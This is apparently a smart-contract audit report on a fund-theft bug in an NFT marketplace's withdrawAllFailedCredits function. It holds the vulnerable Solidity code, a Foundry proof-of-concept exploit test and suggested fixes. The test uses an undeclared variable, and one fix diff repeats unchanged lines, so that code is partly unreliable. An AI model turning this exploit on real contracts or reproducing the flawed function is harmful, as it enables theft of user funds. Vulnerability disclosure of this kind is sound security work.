Root + Impact
Description
The withdrawAllFailedCredits function is designed to allow users to withdraw their failed transfer credits. Users should only be able to withdraw their own credits, and the amount withdrawn should match the credits they have accumulated.
The specific issue is a parameter mismatch where the function uses the _receiver parameter to read the credit amount but clears and sends funds to msg.sender instead, allowing any user to steal credits from any other user.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
-
Any user can call this function with any address as _receiver parameter
-
No special conditions or prerequisites required
-
Single transaction exploit with immediate profit
Impact:
-
Direct theft of user funds from failed transfer credits
-
Permanent loss of user assets with no recovery mechanism
-
Complete breakdown of the failed credit withdrawal system
Proof of Concept
This test demonstrates how an attacker can steal failed transfer credits from any victim:
Setup: We give a victim address 1 ETH in failed transfer credits
Attack: An attacker calls withdrawAllFailedCredits(victim)
Result: The attacker receives the victim's 1 ETH while the victim's credits remain in the mapping
The exploit works because:
-
The function reads credits from victim but sends funds to attacker
-
No access control prevents this cross-user withdrawal
-
The victim's credits are never actually cleared from storage
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarketPlace} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts_NFT_ERC721} from "../src/BidBeasts_NFT_ERC721.sol";
contract FundTheftTest is Test {
BidBeastsNFTMarketPlace marketplace;
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
function setUp() public {
nft = new BidBeasts_NFT_ERC721();
marketplace = new BidBeastsNFTMarketPlace(address(nft));
vm.store(
address(marketplace),
keccak256(abi.encode(victim, uint256(6))),
bytes32(uint256(1 ether))
);
}
function testStealFailedCredits() public {
uint256 victimCredits = marketplace.failedTransferCredits(victim);
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(attacker);
marketplace.withdrawAllFailedCredits(victim);
uint256 attackerBalanceAfter = attacker.balance;
assertEq(attackerBalanceAfter - attackerBalanceBefore, 1 ether);
assertEq(marketplace.failedTransferCredits(victim), 1 ether);
}
}
Recommended Mitigation
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Or alternatively:
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}